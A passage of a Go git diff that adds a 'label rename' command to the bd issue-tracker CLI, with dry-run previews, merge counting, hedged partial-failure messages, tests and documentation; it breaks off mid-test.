"label_whitespace_warn_test.go", "last_touched_guard_test.go", diff --git a/cmd/bd/capability_registry.go b/cmd/bd/capability_registry.go index 15ac9acdf..de387c97e 100644 --- a/cmd/bd/capability_registry.go +++ b/cmd/bd/capability_registry.go @@ -493,7 +493,7 @@ var proxyPermittedPaths = []string{ "comments", "comments add", "comments list", "dep", "dep add", "dep cycles", "dep list", "dep relate", "dep remove", "dep tree", "dep unrelate", "kv clear", "kv get", "kv list", "kv set", - "label add", "label list", "label list-all", "label propagate", "label remove", + "label add", "label list", "label list-all", "label propagate", "label remove", "label rename", // molecules, epics, todos, state "epic close-eligible", "epic status", diff --git a/cmd/bd/label.go b/cmd/bd/label.go index 86af49bc9..a1a2a8aec 100644 --- a/cmd/bd/label.go +++ b/cmd/bd/label.go @@ -554,6 +554,249 @@ var labelPropagateCmd = &cobra.Command{ }, } +// labelRenamePreviewLimit caps how many issues a `--dry-run` blast-radius +// preview names before collapsing the rest into a count. +const labelRenamePreviewLimit = 10 + +var labelRenameCmd = &cobra.Command{ + Use: "rename ", + Short: "Rename a label across every issue and wisp that carries it", + Long: "Rename a label everywhere it appears. An issue that already carries " + + "the new label keeps it and drops the old one instead of erroring - a " + + "merge, reported honestly (the write path measures merged from what " + + "the insert actually affected, never from a snapshot check, so its " + + "count is correct under concurrent writes). Pass --dry-run to preview " + + "the blast radius (a count and the first issues) without writing " + + "anything; the preview's merged count is a plain snapshot intersection " + + "of two separate reads, so treat it as an estimate, not the number the " + + "rename itself will report.", + Args: cobra.ExactArgs(2), + SilenceUsage: true, + SilenceErrors: true, + RunE: func(cmd *cobra.Command, args []string) error { + dryRun, _ := cmd.Flags().GetBool("dry-run") + if !dryRun { + CheckReadonly("label rename") + } + + evt := metrics.NewCommandEvent("label-rename") + defer func() { + if c := metrics.Global(); c != nil { + c.CloseEventAndAdd(evt) + } + }() + + return runLabelRename(rootCtx, args, dryRun) + }, +} + +// validateLabelRename trims and checks the two rename arguments, returning +// the trimmed labels or the refusal a caller should surface. It is a pure +// function so the refusal rules are testable without a store. +func validateLabelRename(rawOld, rawNew string) (oldLabel, newLabel string, err error) { + oldLabel = strings.TrimSpace(rawOld) + newLabel = strings.TrimSpace(rawNew) + if oldLabel == "" || newLabel == "" { + return "", "", fmt.Errorf("label cannot be empty") + } + if oldLabel == newLabel { + return "", "", fmt.Errorf("cannot rename label '%s' to itself", oldLabel) + } + // Same reserved-prefix refusal runLabelAdd and label propagate apply: a + // rename is effectively an add of newLabel, and touching oldLabel would + // let a caller strip a 'provides:' capability outside 'bd ship'. + for _, label := range [2]string{oldLabel, newLabel} { + if strings.HasPrefix(label, "provides:") { + return "", "", fmt.Errorf("'provides:' labels are reserved for cross-project capabilities. Hint: use 'bd ship' instead") + } + } + return oldLabel, newLabel, nil +} + +func runLabelRename(ctx context.Context, args []string, dryRun bool) error { + oldLabel, newLabel, err := validateLabelRename(args[0], args[1]) + if err != nil { + return HandleErrorRespectJSON("%v", err) + } + warnLabelsContainingWhitespace([]string{oldLabel, newLabel}) + + if dryRun { + return runLabelRenameDryRun(ctx, oldLabel, newLabel) + } + + var renamed, merged int + if usesProxiedServer() { + renamed, merged, err = runLabelRenameProxiedServer(ctx, oldLabel, newLabel) + } else { + renamed, merged, _, err = store.RenameLabel(ctx, oldLabel, newLabel, actor) + } + // Recorded from renamed>0 BEFORE the error check: a rename can commit its + // SQL side and still return a non-nil err (e.g. the Dolt publication step + // failing after the working-set write landed), and the caller's deferred + // commit needs to know a write happened either way. + if renamed > 0 { + commandDidWrite.Store(true) + } + if err != nil { + // The counts are assigned INSIDE the transaction closure on both + // routes (label_proxied_server.go RunTx, dolt/labels.go + // withRetryTx), so a Commit failure or retry exhaustion returns + // them still holding the rolled-back attempt's numbers - nothing + // landed. Only doltAddAndCommit failing after the SQL tx committed + // is a genuine partial, and renamed>0 cannot discriminate the two. + // Report an UPPER BOUND rather than assert a write that may not + // have happened; commandDidWrite above shares the premise but is + // fail-safe in the other direction, this message is not. + if renamed > 0 { + return HandleErrorRespectJSON("%s", labelRenamePartialFailureMessage(renamed, merged, err)) + } + return HandleErrorRespectJSON("label rename: %v", err) + } + return reportLabelRename(oldLabel, newLabel, renamed, merged, jsonOutput) +} + +// labelRenameCandidatesProxied is the read-only counterpart of +// runLabelRenameProxiedServer, used only by --dry-run: two label searches, no +// write. Kept separate from the write path so a dry-run can never reach a +// uow.RunTx call. +func labelRenameCandidatesProxied(ctx context.Context, oldLabel, newLabel string) (oldIssues, newIssues []*types.Issue, err error) { + uw, err := proxiedOpenReadUOW(ctx) + if err != nil { + return nil, nil, err + } + defer uw.Close(ctx) + + oldPage, err := uw.IssueUseCase().SearchIssues(ctx, "", types.IssueFilter{Labels: []string{oldLabel}}) + if err != nil { + return nil, nil, fmt.Errorf("searching issues with label %q: %w", oldLabel, err) + } + if len(oldPage.Items) == 0 { + return nil, nil, nil + } + newPage, err := uw.IssueUseCase().SearchIssues(ctx, "", types.IssueFilter{Labels: []string{newLabel}}) + if err != nil { + return nil, nil, fmt.Errorf("searching issues with label %q: %w", newLabel, err) + } + return oldPage.Items, newPage.Items, nil +} + +func runLabelRenameDryRun(ctx context.Context, oldLabel, newLabel string) error { + var ( + oldIssues, newIssues []*types.Issue + err error + ) + if usesProxiedServer() { + oldIssues, newIssues, err = labelRenameCandidatesProxied(ctx, oldLabel, newLabel) + } else { + oldIssues, err = store.GetIssuesByLabel(ctx, oldLabel) + if err == nil { + newIssues, err = store.GetIssuesByLabel(ctx, newLabel) + } + } + if err != nil { + return HandleErrorRespectJSON("label rename --dry-run: %v", err) + } + + // A preview-only snapshot intersection of two independent reads, NOT the + // write path's measured count: renameLabelInPlane derives merged from + // what its INSERT IGNORE actually affected, specifically to avoid the + // schedule-dependent count a check-then-insert shape used to produce + // under a concurrent AddLabel/RemoveLabel between the two reads (see the + // comment on that function). This dry-run has no insert to measure + // against, so it falls back to exactly that check-then-count shape - an + // acceptable estimate for a preview, but callers must not treat it as + // authoritative. The flag help and command Long text say so too. + alreadyNew := make(map[string]struct{}, len(newIssues)) + for _, issue := range newIssues { + alreadyNew[issue.ID] = struct{}{} + } + merged := 0 + for _, issue := range oldIssues { + if _, ok := alreadyNew[issue.ID]; ok { + merged++ + } + } + + if jsonOutput { + preview := make([]map[string]interface{}, 0, len(oldIssues)) + for _, issue := range oldIssues { + preview = append(preview, map[string]interface{}{ + "issue_id": issue.ID, + "title": issue.Title, + }) + } + return outputJSON(map[string]interface{}{ + "dry_run": true, + "old_label": oldLabel, + "new_label": newLabel, + "count": len(oldIssues), + "merged": merged, + "issues": preview, + }) + } + + if len(oldIssues) == 0 { + fmt.Printf("No issues found with label '%s'\n", oldLabel) + return nil + } + fmt.Printf("Would rename label '%s' to '%s': %d issues", oldLabel, newLabel, len(oldIssues)) + if merged > 0 { + fmt.Printf(" (%d already have '%s')", merged, newLabel) + } + fmt.Println() + limit := len(oldIssues) + if limit > labelRenamePreviewLimit { + limit = labelRenamePreviewLimit + } + for _, issue := range oldIssues[:limit] { + fmt.Printf(" %s %s\n", issue.ID, issue.Title) + } + if len(oldIssues) > limit { + fmt.Printf(" ... and %d more\n", len(oldIssues)-limit) + } + return nil +} + +// labelRenamePartialFailureMessage phrases a failed rename as an UPPER BOUND. +// Both routes assign the counts inside the transaction closure, so on a Commit +// failure or retry exhaustion they still hold the rolled-back attempt's numbers +// and nothing landed; only doltAddAndCommit failing after the SQL transaction +// committed is a genuine partial, and renamed > 0 cannot tell the two apart. +// Every number in the sentence is therefore hedged - a definite count here would +// assert a write that may never have happened. +func labelRenamePartialFailureMessage(renamed, merged int, err error) string { + return fmt.Sprintf("label rename: up to %d issue(s) (of which up to %d merged) may have been renamed before failing: %v", + renamed, merged, err) +} + +// reportLabelRename prints what a (non-dry-run) rename landed: an honest +// zero-issues no-op, or the count plus how many of those were merges. +func reportLabelRename(oldLabel, newLabel string, renamed, merged int, jsonOut bool) error { + if jsonOut { + return outputJSON(map[string]interface{}{ + "status": "renamed", + "old_label": oldLabel, + "new_label": newLabel, + "renamed": renamed, + "merged": merged, + }) + } + if renamed == 0 { + fmt.Printf("No issues found with label '%s'\n", oldLabel) + return nil + } + noun := "issue" + if renamed != 1 { + noun = "issues" + } + fmt.Printf("Renamed label '%s' to '%s': %d %s", oldLabel, newLabel, renamed, noun) + if merged > 0 { + fmt.Printf(" (%d already had '%s')", merged, newLabel) + } + fmt.Println() + return nil +} + func init() { // Issue ID completions labelAddCmd.ValidArgsFunction = issueIDCompletion @@ -561,11 +804,14 @@ func init() { labelListCmd.ValidArgsFunction = issueIDCompletion labelPropagateCmd.ValidArgsFunction = issueIDCompletion + labelRenameCmd.Flags().Bool("dry-run", false, "Preview the blast radius without renaming anything (merged count is a snapshot intersection, not authoritative - see --help)") + labelCmd.AddCommand(labelAddCmd) labelCmd.AddCommand(labelRemoveCmd) labelCmd.AddCommand(labelListCmd) labelCmd.AddCommand(labelListAllCmd) labelCmd.AddCommand(labelPropagateCmd) + labelCmd.AddCommand(labelRenameCmd) rootCmd.AddCommand(labelCmd) } diff --git a/cmd/bd/label_embedded_test.go b/cmd/bd/label_embedded_test.go index 8f91d5acf..9a19657b3 100644 --- a/cmd/bd/label_embedded_test.go +++ b/cmd/bd/label_embedded_test.go @@ -473,6 +473,71 @@ func TestEmbeddedLabel(t *testing.T) { } }) + // ===== Label Rename ===== + + t.Run("label_rename_basic", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Rename basic", "--type", "task", "--label", "backend") + out := bdLabel(t, bd, dir, "rename", "backend", "server") + if !strings.Contains(out, "Renamed") { + t.Errorf("expected 'Renamed' in output: %s", out) + } + labels := bdLabelListJSON(t, bd, dir, issue.ID) + if len(labels) != 1 || labels[0] != "server" { + t.Errorf("expected labels [server], got %v", labels) + } + }) + + t.Run("label_rename_merge", func(t *testing.T) { + onlyOld := bdCreate(t, bd, dir, "Rename merge only-old", "--type", "task", "--label", "wip-r") + both := bdCreate(t, bd, dir, "Rename merge both", "--type", "task", + "--label", "wip-r", "--label", "in-progress-r") + + out := bdLabel(t, bd, dir, "rename", "wip-r", "in-progress-r") + if !strings.Contains(out, "Renamed") { + t.Errorf("expected 'Renamed' in output: %s", out) + } + + labels := bdLabelListJSON(t, bd, dir, onlyOld.ID) + if len(labels) != 1 || labels[0] != "in-progress-r" { + t.Errorf("only-old: expected [in-progress-r], got %v", labels) + } + labels = bdLabelListJSON(t, bd, dir, both.ID) + if len(labels) != 1 || labels[0] != "in-progress-r" { + t.Errorf("both: expected exactly [in-progress-r] (no duplicate), got %v", labels) + } + }) + + t.Run("label_rename_dry_run_writes_nothing", func(t *testing.T) { + issue := bdCreate(t, bd, dir, "Rename dry run", "--type", "task", "--label", "dry-old") + out := bdLabel(t, bd, dir, "rename", "dry-old", "dry-new", "--dry-run") + if !strings.Contains(out, "Would rename") { + t.Errorf("expected 'Would rename' in dry-run output: %s", out) + } + labels := bdLabelListJSON(t, bd, dir, issue.ID) + if len(labels) != 1 || labels[0] != "dry-old" { + t.Errorf("dry-run must not write: expected [dry-old] unchanged, got %v", labels) + } + }) + + t.Run("label_rename_zero_carrier_is_honest_noop", func(t *testing.T) { + out := bdLabel(t, bd, dir, "rename", "no-such-label-anywhere", "irrelevant") + if !strings.Contains(out, "No issues found") { + t.Errorf("expected 'No issues found' for a zero-carrier rename: %s", out) + } + }) + + t.Run("label_rename_identical_fails", func(t *testing.T) { + bdLabelFail(t, bd, dir, "rename", "same-label", "same-label") + }) + + t.Run("label_rename_empty_fails", func(t *testing.T) { + bdLabelFail(t, bd, dir, "rename", "", "new-name") + }) + + t.Run("label_rename_reserved_provides_fails", func(t *testing.T) { + bdLabelFail(t, bd, dir, "rename", "plain-label", "provides:auth") + }) + // ===== Error Cases ===== t.Run("label_add_empty_label", func(t *testing.T) { diff --git a/cmd/bd/label_proxied_integration_test.go b/cmd/bd/label_proxied_integration_test.go index b85bdf156..4e694495e 100644 --- a/cmd/bd/label_proxied_integration_test.go +++ b/cmd/bd/label_proxied_integration_test.go @@ -83,6 +83,59 @@ func TestProxiedServerLabel(t *testing.T) { } }) + // rename is the end-to-end regression test for the finding that + // runLabelRenameProxiedServer used to fan a rename out into a per-issue + // AddLabel + RemoveLabel pair (journaling label_added/label_removed) + // instead of calling domain.LabelUseCase.RenameLabel, which emits one + // label_renamed event. internal/storage/domain/db's + // TestLabelUseCase/RenameLabel/EmitsOneRenamedEventPerIssue exercises the + // same use case directly against dolt; this closes the gap through the + // actual `bd label rename` CLI + proxied server wiring. + t.Run("rename", func(t *testing.T) { + t.Parallel() + p := newSharedProxiedProject(t, bd, "lr") + issue := bdProxiedCreate(t, bd, p.dir, "Rename target") + bdProxiedLabel(t, bd, p.dir, "add", issue.ID, "old-name") + + out := bdProxiedLabel(t, bd, p.dir, "rename", "old-name", "new-name") + if !strings.Contains(out, "Renamed label 'old-name' to 'new-name': 1 issue") { + t.Errorf("expected the rename confirmation, got:\n%s", out) + } + + if got := bdProxiedLabelListJSON(t, bd, p.dir, issue.ID); len(got) != 1 || got[0] != "new-name" { + t.Fatalf("labels after rename = %v, want [new-name]", got) + } + + db := openProxiedDB(t, p) + var renamedCount int + if err := db.QueryRowContext(context.Background(), + "SELECT COUNT(*) FROM events WHERE issue_id = ? AND event_type = 'label_renamed' AND old_value = 'old-name' AND new_value = 'new-name'", + issue.ID).Scan(&renamedCount); err != nil { + t.Fatalf("count label_renamed events: %v", err) + } + if renamedCount != 1 { + t.Errorf("label_renamed events = %d, want 1", renamedCount) + } + + var addedCount, removedCount int + if err := db.QueryRowContext(context.Background(), + "SELECT COUNT(*) FROM events WHERE issue_id = ? AND event_type = 'label_added'", + issue.ID).Scan(&addedCount); err != nil { + t.Fatalf("count label_added events: %v", err) + } + if err := db.QueryRowContext(context.Background(), + "SELECT COUNT(*) FROM events WHERE issue_id = ? AND event_type = 'label_removed'", + issue.ID).Scan(&removedCount); err != nil { + t.Fatalf("count label_removed events: %v", err) + } + if addedCount != 1 { + t.Errorf("label_added events = %d, want 1 (only the initial `label add`, not a second one from a rename-as-add)", addedCount) + } + if removedCount != 0 { + t.Errorf("label_removed events = %d, want 0 (the rename must not journal label_removed)", removedCount) + } + }) + t.Run("add_multiple_issues", func(t *testing.T) { t.Parallel() p := newSharedProxiedProject(t, bd, "lm") diff --git a/cmd/bd/label_proxied_server.go b/cmd/bd/label_proxied_server.go index bd5efb2f5..9d5b955a1 100644 --- a/cmd/bd/label_proxied_server.go +++ b/cmd/bd/label_proxied_server.go @@ -132,6 +132,34 @@ func runLabelListAllProxiedServer(ctx context.Context) error { return nil } +// runLabelRenameProxiedServer is the proxied-server counterpart of +// DoltStore/EmbeddedDoltStore.RenameLabel. It calls the same +// domain.LabelUseCase.RenameLabel every proxied write reaches through +// uw.LabelUseCase(), which in turn delegates to issueops.RenameLabelInTx - +// the identical merge semantics, same-name refusal and one EventLabelRenamed +// per touched issue that the direct route produces. A prior version of this +// route fanned each issue out into a per-issue AddLabel-then-RemoveLabel +// pair, journaling label_added/label_removed instead of label_renamed; that +// divergence is what this delegation replaces. +func runLabelRenameProxiedServer(ctx context.Context, oldLabel, newLabel string) (renamed, merged int, err error) { + if uowProvider == nil { + return 0, 0, HandleError("proxied-server UOW provider not initialized") + } + + err = uow.RunTx(ctx, uowProvider, func(ctx context.Context, uw uow.UnitOfWork) (string, error) { + var rerr error + renamed, merged, _, rerr = uw.LabelUseCase().RenameLabel(ctx, oldLabel, newLabel, actor) //nolint:forbidigo // bulk rename; no role serves it, and Patch.Labels would reintroduce the per-issue add/remove event divergence this delegation replaced + if rerr != nil { + return "", fmt.Errorf("rename label '%s' -> '%s': %w", oldLabel, newLabel, rerr) + } + if renamed == 0 { + return "", nil + } + return fmt.Sprintf("bd: label rename '%s' -> '%s' (%d issues)", oldLabel, newLabel, renamed), nil + }) + return renamed, merged, err +} + func runLabelPropagateProxiedServer(ctx context.Context, args []string) error { label := strings.TrimSpace(args[1]) if label == "" { diff --git a/cmd/bd/label_rename_message_test.go b/cmd/bd/label_rename_message_test.go new file mode 100644 index 000000000..1f9183efa --- /dev/null +++ b/cmd/bd/label_rename_message_test.go @@ -0,0 +1,39 @@ +package main + +import ( + "errors" + "strings" + "testing" +) + +// The partial-failure wording is a semantic claim, not cosmetics: the counts are +// assigned inside the transaction closure on both routes, so a Commit failure or +// retry exhaustion leaves them holding an attempt that never landed. Nothing else +// in the suite drives a failing rename with renamed > 0, so without this test the +// hunk can be reverted and every other test stays green. +func TestLabelRenamePartialFailureMessageIsAnUpperBound(t *testing.T) { + msg := labelRenamePartialFailureMessage(6, 2, errors.New("commit failed")) + + for _, want := range []string{ + "up to 6 issue(s)", + "of which up to 2 merged", + "may have been renamed before failing", + "commit failed", + } { + if !strings.Contains(msg, want) { + t.Errorf("message %q does not contain %q", msg, want) + } + } + + // No clause may assert that a write landed. These are the phrasings the + // message carried before the correction, and the ones a future edit is + // most likely to reintroduce. + for _, forbidden := range []string{ + "renamed 6 issue(s)", + "(2 merged)", + } { + if strings.Contains(msg, forbidden) { + t.Errorf("message %q asserts a landed count via %q; every number must stay hedged", msg, forbidden) + } + } +} diff --git a/cmd/bd/label_rename_publish_failure_test.go b/cmd/bd/label_rename_publish_failure_test.go new file mode 100644 index 000000000..21c6efaaf --- /dev/null +++ b/cmd/bd/label_rename_publish_failure_test.go @@ -0,0 +1,120 @@ +//go:build cgo + +package main + +import ( + "context" + "errors" + "os" + "path/filepath" + "testing" + + "github.com/steveyegge/beads/internal/storage/dolt" + "github.com/steveyegge/beads/internal/testutil" +) + +// renameLabelPublishFailureStore wraps a real *dolt.DoltStore and makes +// RenameLabel report a publish failure (renamed>0, err!=nil) after the SQL +// side has genuinely committed - reproducing the "SQL committed, Dolt +// publication failed" shape runLabelRename's commandDidWrite ordering must +// survive: the working-set write landed (labels actually changed) but the +// call still returns an error. +type renameLabelPublishFailureStore struct { + *dolt.DoltStore +} + +func (s *renameLabelPublishFailureStore) RenameLabel(ctx context.Context, oldLabel, newLabel, actor string) (renamed, merged int, ids []string, err error) { + renamed, merged, ids, err = s.DoltStore.RenameLabel(ctx, oldLabel, newLabel, actor) + if err == nil && renamed > 0 { + err = errors.New("simulated Dolt publication failure") + } + return renamed, merged, ids, err +} + +// TestRunLabelRename_CommandDidWriteSetBeforeErrorReturn is the regression +// test for the finding: runLabelRename read renamed>0 into commandDidWrite +// only AFTER the `if err != nil` early return, so a rename whose SQL side +// committed but whose store call also returned an error (a Dolt publication +// failure after the working-set write landed) never marked the command as +// having written - the caller's deferred auto-commit would then skip +// creating a Dolt commit for a write that, on disk, actually happened. +func TestRunLabelRename_CommandDidWriteSetBeforeErrorReturn(t *testing.T) { + if testDoltServerPort == 0 { + t.Skip("Dolt test server not available") + } + if testutil.DoltContainerCrashed() { + t.Skipf("Dolt test server crashed: %v", testutil.DoltContainerCrashError()) + } + + ensureTestMode(t) + saved := saveAndRestoreGlobals(t) + _ = saved + + tmpDir := t.TempDir() + beadsDir := filepath.Join(tmpDir, ".beads") + if err := os.MkdirAll(beadsDir, 0755); err != nil { + t.Fatal(err) + } + origWd, _ := os.Getwd() + if err := os.Chdir(tmpDir); err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = os.Chdir(origWd) }) + + dbName := uniqueTestDBName(t) + testDBPath := filepath.Join(beadsDir, "dolt") + writeTestMetadata(t, testDBPath, dbName) + inner := newTestStore(t, testDBPath) + spy := &renameLabelPublishFailureStore{DoltStore: inner} + store = spy + storeMutex.Lock() + storeActive = true + storeMutex.Unlock() + t.Cleanup(func() { + store = nil + storeMutex.Lock() + storeActive = false + storeMutex.Unlock() + }) + + ctx := context.Background() + rootCtx = ctx + + // Seed one issue carrying the label so RenameLabel actually touches + // something (renamed>0 is the precondition for the defect to bite). + if _, err := inner.DB().ExecContext(ctx, `INSERT INTO issues (id, title, description, design, acceptance_criteria, notes, status, priority, issue_type) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)`, + "rlw-1", "Rename publish-failure seed", "body", "", "", "", "open", 1, "task"); err != nil { + t.Fatalf("seed issue: %v", err) + } + if err := inner.AddLabel(ctx, "rlw-1", "old-label", "tester"); err != nil { + t.Fatalf("seed label: %v", err) + } + + commandDidWrite.Store(false) + usesProxiedServerOverride := usesProxiedServer() + if usesProxiedServerOverride { + t.Fatal("test assumes the direct (non-proxied) store.RenameLabel path; proxiedServerMode leaked from another test") + } + + err := runLabelRename(ctx, []string{"old-label", "new-label"}, false) + if err == nil { + t.Fatal("expected the simulated publish failure to surface as an error") + } + + if !commandDidWrite.Load() { + t.Error("commandDidWrite must be set once RenameLabel reports renamed>0, even though it also " + + "returned an error (SQL committed, Dolt publication failed) - it was being read only after " + + "the early `if err != nil` return, so this write was silently invisible to the caller's " + + "deferred auto-commit") + } + + // The rename's SQL side genuinely landed despite the reported error - the + // premise the whole test rests on. + labels, err := inner.GetLabels(ctx, "rlw-1") + if err != nil { + t.Fatalf("GetLabels: %v", err) + } + if len(labels) != 1 || labels[0] != "new-label" { + t.Fatalf("GetLabels = %v, want [new-label] (the rename's SQL side must have landed for this test to mean anything)", labels) + } +} diff --git a/cmd/bd/label_rename_test.go b/cmd/bd/label_rename_test.go new file mode 100644 index 000000000..5bb831008 --- /dev/null +++ b/cmd/bd/label_rename_test.go @@ -0,0 +1,85 @@ +package main + +import ( + "strings" + "testing" +) + +// TestValidateLabelRename pins the argument-refusal rules for `bd label +// rename` - the checks that must fire BEFORE any store is touched, so they +// need no dolt/docker fixture to test. +func TestValidateLabelRename(t *testing.T) { + tests := []struct { + name string + rawOld string + rawNew string + wantOld string + wantNew string + wantErr bool + errContains string + }{ + { + name: "trims whitespace", + rawOld: " backend ", + rawNew: " server ", + wantOld: "backend", + wantNew: "server", + }, + { + name: "empty old label refused", + rawOld: "", + rawNew: "server", + wantErr: true, + errContains: "empty", + }, + { + name: "empty new label refused", + rawOld: "backend", + rawNew: " ", + wantErr: true, + errContains: "empty", + }, + { + name: "identical labels refused", + rawOld: "backend", + rawNew: "backend", + wantErr: true, + errContains: "itself", + }, + { + name: "reserved provides prefix on new label refused", + rawOld: "backend", + rawNew: "provides:auth", + wantErr: true, + errContains: "reserved", + }, + { + name: "reserved provides prefix on old label refused", + rawOld: "provides:auth", + rawNew: "backend", + wantErr: true, + errContains: "reserved", + }, + } + + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + gotOld, gotNew, err := validateLabelRename(tt.rawOld, tt.rawNew) + if tt.wantErr { + if err == nil { + t.Fatalf("expected an error, got none (old=%q new=%q)", gotOld, gotNew) + } + if tt.errContains != "" && !strings.Contains(strings.ToLower(err.Error()), tt.errContains) { + t.Errorf("error %q does not mention %q", err.Error(), tt.errContains) + } + return + } + if err != nil { + t.Fatalf("unexpected error: %v", err) + } + if gotOld != tt.wantOld || gotNew != tt.wantNew { + t.Errorf("got (%q, %q), want (%q, %q)", gotOld, gotNew, tt.wantOld, tt.wantNew) + } + }) + } +} diff --git a/docs/core-concepts/labels.md b/docs/core-concepts/labels.md index 3cd41f63a..1324801e7 100644 --- a/docs/core-concepts/labels.md +++ b/docs/core-concepts/labels.md @@ -361,6 +361,29 @@ Output: ] ``` +### Renaming Labels + +`bd label rename` fixes a label everywhere it appears, in one command, instead +of a per-issue add-then-remove loop: + +```bash +# Fix a typo or a taxonomy drift across the whole database +bd label rename Backend backend + +# Preview the blast radius first - no writes, just a count and the first issues +bd label rename Backend backend --dry-run +``` + +If an issue already carries the new label, the rename doesn't error - it +drops the stale old label and reports that issue as a merge: + +``` +Renamed label 'Backend' to 'backend': 6 issues (2 already had 'backend') +``` + +A label nothing carries renames to a clean no-op (`No issues found with label +'Backend'`, exit 0). Rename sweeps both planes: durable issues and wisps. + ### Bulk Operations Add labels in batch during creation: diff --git a/internal/jira/tracker_test.go b/internal/jira/tracker_test.go index 5e10ffd63..47aa5a99c 100644 --- a/internal/jira/tracker_test.go +++ b/internal/jira/tracker_test.go @@ -802,6 +802,9 @@ func (s *configStore) GetLabels(_ context.Context, _ string) ([]string, error) { func (s *configStore) GetIssuesByLabel(_ context.Context, _ string) ([]*types.Issue, error) { return nil, nil } +func (s *configStore) RenameLabel(_ context.Context, _, _, _ string) (int, int, []string, error) { + return 0, 0, nil, nil +} func (s *configStore) GetReadyWork(_ context.Context, _ types.WorkFilter) ([]*types.Issue, error) { return nil, nil } diff --git a/internal/storage/dolt/BUILD.bazel b/internal/storage/dolt/BUILD.bazel index 62b252c87..dffce7e49 100644 --- a/internal/storage/dolt/BUILD.bazel +++ b/internal/storage/dolt/BUILD.bazel @@ -256,6 +256,7 @@ go_test( "journal_scope_completeness_test.go", "journal_test.go", "keyset_search_test.go", + "label_rename_test.go", "labels_test.go", "lease_migration_test.go", "lease_test.go", diff --git a/internal/storage/dolt/label_rename_test.go b/internal/storage/dolt/label_rename_test.go new file mode 100644 index 000000000..7346f5984 --- /dev/null +++ b/internal/storage/dolt/label_rename_test.go @@ -0,0 +1,321 @@ +package dolt + +import ( + "context" + "errors" + "testing" + "time" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// TestRenameLabel_Basic renames a label carried by two issues and confirms +// it lands on both: old gone, new present, no merge (neither issue already +// had newLabel). +func TestRenameLabel_Basic(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + a := &types.Issue{ID: "rename-basic-a", Title: "A", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeTask} + b := &types.Issue{ID: "rename-basic-b", Title: "B", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeTask} + for _, issue := range []*types.Issue{a, b} { + if err := store.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("create %s: %v", issue.ID, err) + } + } + if err := store.AddLabel(ctx, a.ID, "backend", "tester"); err != nil { + t.Fatalf("add label a: %v", err) + } + if err := store.AddLabel(ctx, b.ID, "backend", "tester"); err != nil { + t.Fatalf("add label b: %v", err) + } + + renamed, merged, ids, err := store.RenameLabel(ctx, "backend", "server", "tester") + if err != nil { + t.Fatalf("RenameLabel: %v", err) + } + if renamed != 2 { + t.Errorf("renamed = %d, want 2", renamed) + } + if merged != 0 { + t.Errorf("merged = %d, want 0", merged) + } + if len(ids) != 2 { + t.Errorf("ids = %v, want 2 entries", ids) + } + + for _, id := range []string{a.ID, b.ID} { + labels, err := store.GetLabels(ctx, id) + if err != nil { + t.Fatalf("GetLabels(%s): %v", id, err) + } + if len(labels) != 1 || labels[0] != "server" { + t.Errorf("GetLabels(%s) = %v, want [server]", id, labels) + } + } + + events, err := store.GetEvents(ctx, a.ID, 100) + if err != nil { + t.Fatalf("GetEvents: %v", err) + } + found := false + for _, e := range events { + if e.EventType == types.EventLabelRenamed && e.OldValue != nil && *e.OldValue == "backend" && + e.NewValue != nil && *e.NewValue == "server" { + found = true + } + } + if !found { + t.Errorf("expected a label_renamed event old=backend new=server on %s, events: %+v", a.ID, events) + } +} + +// TestRenameLabel_Merge covers an issue that already carries newLabel: the +// rename must degrade to a merge (old row dropped, no duplicate-key error) +// and report that issue in merged. +func TestRenameLabel_Merge(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + onlyOld := &types.Issue{ID: "rename-merge-only-old", Title: "OnlyOld", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeTask} + both := &types.Issue{ID: "rename-merge-both", Title: "Both", Status: types.StatusOpen, Priority: 1, IssueType: types.TypeTask} + for _, issue := range []*types.Issue{onlyOld, both} { + if err := store.CreateIssue(ctx, issue, "tester"); err != nil { + t.Fatalf("create %s: %v", issue.ID, err) + } + } + if err := store.AddLabel(ctx, onlyOld.ID, "wip", "tester"); err != nil { + t.Fatalf("add label onlyOld: %v", err) + } + if err := store.AddLabel(ctx, both.ID, "wip", "tester"); err != nil { + t.Fatalf("add label both/wip: %v", err) + } + if err := store.AddLabel(ctx, both.ID, "in-progress", "tester"); err != nil { + t.Fatalf("add label both/in-progress: %v", err) + } + + renamed, merged, _, err := store.RenameLabel(ctx, "wip", "in-progress", "tester") + if err != nil { + t.Fatalf("RenameLabel: %v", err) + } + if renamed != 2 { + t.Errorf("renamed = %d, want 2", renamed) + } + if merged != 1 { + t.Errorf("merged = %d, want 1", merged) + } + + labels, err := store.GetLabels(ctx, both.ID) + if err != nil { + t.Fatalf("GetLabels(both): %v", err) + } + if len(labels) != 1 || labels[0] != "in-progress" { + t.Errorf("GetLabels(both) = %v, want exactly [in-progress] (no duplicate, no leftover wip)", labels) + } + + labels, err = store.GetLabels(ctx, onlyOld.ID) + if err != nil { + t.Fatalf("GetLabels(onlyOld): %v", err) + } + if len(labels) != 1 || labels[0] != "in-progress" { + t.Errorf("GetLabels(onlyOld) = %v, want [in-progress]", labels) + } +} + +// TestRenameLabel_WispSwept confirms the wisp_labels plane is swept too, not +// only the durable labels table. +func TestRenameLabel_WispSwept(t *testing.T) { + store, cleanup := setupTestStore(t) + defer cleanup() + + ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second) + defer cancel() + + wisp := &types.Issue{ + ID: "rename-wisp-target", Title: "Wisp", Status: types.StatusOpen, + Priority: 1, IssueType: types.TypeTask, Ephemeral: true, + } + if err := store.CreateIssue(ctx, wisp, "tester"); err != nil { + t.Fatalf("create wisp: %v", err) + } + if err := store.AddLabel(ctx, wisp.ID, "temp-tag", "tester"); err != nil { + t.Fatalf("add label: %v", err) + } + + renamed, merged, ids, err := store.RenameLabel(ctx, "temp-tag", "final-tag", "tester") + if err != nil { + t.Fatalf("RenameLabel: 